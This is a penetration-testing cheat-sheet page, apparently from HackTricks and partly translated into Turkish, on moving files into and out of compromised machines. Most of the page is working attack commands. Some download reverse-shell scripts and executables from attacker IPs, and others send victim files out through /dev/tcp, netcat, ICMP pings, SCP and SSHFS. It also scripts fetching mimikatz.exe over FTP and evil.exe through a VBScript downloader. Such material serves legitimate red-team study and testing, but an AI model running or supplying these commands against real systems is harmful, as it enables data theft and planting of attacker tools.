Exfiltration

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Bilgi çıkarmak için genellikle izin verilen alan adları

https://lots-project.com/ adresini kontrol ederek kötüye kullanılabilecek genellikle izin verilen alan adlarını bulun

Base64 Kopyala ve Yapıştır

Linux

base64 -w0 <file> #Encode file
base64 -d file #Decode file

Windows

certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll

HTTP

Linux

wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD

Windows

certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf

#PS
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Dosyaları Yükle

SimpleHttpServerWithFileUploads
SimpleHttpServer printing GET and POSTs (also headers)
Python modülü uploadserver:

# Listen to files
python3 -m pip install --user uploadserver
python3 -m uploadserver
# With basic auth:
# python3 -m uploadserver --basic-auth hello:world

# Send a file
curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world

HTTPS Sunucusu

# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
#    openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
#    python simple-https-server.py
# then in your browser, visit:
#    https://localhost:443

### PYTHON 2
import BaseHTTPServer, SimpleHTTPServer
import ssl

httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
httpd.serve_forever()
###

### PYTHON3
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
httpd.serve_forever()
###

### USING FLASK
from flask import Flask, redirect, request
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
print(request.get_json())
return "OK"
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###

FTP

FTP sunucusu (python)

pip3 install pyftpdlib
python3 -m pyftpdlib -p 21

FTP sunucusu (NodeJS)

sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp

FTP sunucusu (pure-ftp)

apt-get update && apt-get install pure-ftp

#Run the following script to configure the FTP server
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pwd useradd fusr -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart

Windows istemci

#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
echo USER anonymous >> ftp.txt
echo anonymous >> ftp.txt
echo bin >> ftp.txt
echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt
ftp -n -v -s:ftp.txt

SMB

Sunucu olarak Kali

kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`

Veya bir smb paylaşımı oluşturun samba kullanarak:

apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
comment = Samba on Ubuntu
path = /tmp/smb
read only = no
browsable = yes
guest ok = Yes
#Start samba
service smbd restart

Windows

Exfiltration

Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data from a compromised system, including:

Email: Sending data as email attachments to an external email address.
FTP: Transferring data using the File Transfer Protocol to a remote server.
DNS: Encoding data within DNS requests to leak information.
HTTP/HTTPS: Sending data over HTTP or HTTPS to a remote server.
Steganography: Hiding data within images or other files to avoid detection.
Cloud Storage: Uploading data to cloud storage services like Dropbox or Google Drive.

Exfiltration can be a critical phase in a cyber attack, as it allows threat actors to steal sensitive information from a target organization. It is essential for organizations to implement strong security measures to prevent data exfiltration and protect their valuable assets.

CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:

SCP

Saldırganın SSHd çalışıyor olmalıdır.

scp <username>@<Attacker_IP>:<directory>/<filename>

SSHFS

Eğer kurbanın SSH'si varsa, saldırgan kurbandan saldırganın bilgisayarına bir dizin bağlayabilir.

sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/

NC

NC, or Netcat, is a versatile networking tool that can be used for exfiltration. It can create connections to remote systems, listen for incoming connections, and transfer data between systems. NC can be used to exfiltrate data over various protocols such as TCP or UDP. It is a powerful tool for both red teaming and penetration testing engagements.

nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file

/dev/tcp

Kurbanın cihazından dosya indirin

nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim

Dosyayı hedefe yükle

nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt

ICMP

ICMP, Internet Control Message Protocol, is a network layer protocol used to send error messages and operational information indicating success or failure when communicating with a host. ICMP can also be used for exfiltration purposes due to its low detection rate and ability to bypass firewalls.

# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)

from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)

SMTP

Eğer bir SMTP sunucusuna veri gönderebiliyorsanız, veriyi almak için bir SMTP oluşturabilirsiniz:

sudo python -m smtpd -n -c DebuggingServer :25

TFTP

XP ve 2003'te varsayılan olarak (diğerlerinde kurulum sırasında açıkça eklenmesi gerekir)

Kali'de TFTP sunucusunu başlatın:

#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp

Python'da TFTP sunucusu:

pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>

kurban üzerinde, Kali sunucusuna bağlanın:

tftp -i <KALI-IP> get nc.exe

PHP

PHP ile bir dosyayı indirin:

echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php

VBScript

VBScript Exfiltration

VBScript can be used to exfiltrate data from a compromised system. This can be achieved by encoding the data and sending it to an external server controlled by the attacker. VBScript can also be used to compress the data before exfiltration to minimize the amount of data sent over the network. This technique can help attackers avoid detection by security tools that monitor network traffic for suspicious patterns.

Attacker> python -m SimpleHTTPServer 80

Kurban

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

cscript wget.vbs http://10.11.0.5/evil.exe evil.exe

Debug.exe

debug.exe programı sadece ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda onları onaltılıktan yeniden oluşturma yeteneğine sahiptir. Bu, bir ikili dosyanın onaltılık bir gösterimini sağlayarak debug.exenin ikili dosyayı oluşturabilmesi anlamına gelir. Bununla birlikte, debug.exe'nin 64 kb boyutundaki dosyaları birleştirme sınırlaması olduğunu unutmamak önemlidir.

# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt

Ardından metni windows-shell'e kopyalayıp yapıştırın ve nc.exe adında bir dosya oluşturulacaktır.

* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)

## DNS

* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)

**Try Hard Security Group**

<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

<div data-gb-custom-block data-tag="embed" data-url='https://discord.gg/tryhardsecurity'></div>

<details>

<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin!</summary>

HackTricks'ı desteklemenin diğer yolları:

* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.

</details>

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